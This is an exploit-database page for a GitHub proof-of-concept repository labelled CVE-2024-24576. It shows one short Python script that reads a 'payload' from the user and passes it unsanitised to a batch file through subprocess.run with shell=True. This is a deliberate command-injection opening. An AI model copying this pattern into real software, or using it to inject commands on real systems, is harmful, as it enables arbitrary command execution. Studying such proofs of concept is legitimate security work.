Exploit database

GH-22ba163edc895cf4b27a72e8efeba587

aydinnyunus/cve-2024-24576-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-24576

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
aydinnyunus/cve-2024-24576-exploitRevision 4b90d4d829bd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.py

Python · 506 bytes
import subprocess

def run_batch_file(batch_file_path, second_argument):
    try:
        subprocess.run([batch_file_path, second_argument], shell=True, check=True)
    except subprocess.CalledProcessError as e:
        print(f"Error occurred while running the batch file: {e}")
    except FileNotFoundError:
        print(f"Batch file '{batch_file_path}' not found.")

# Example usage:
batch_file_path = "test.bat"
second_argument = input("Enter Payload")
run_batch_file(batch_file_path, second_argument)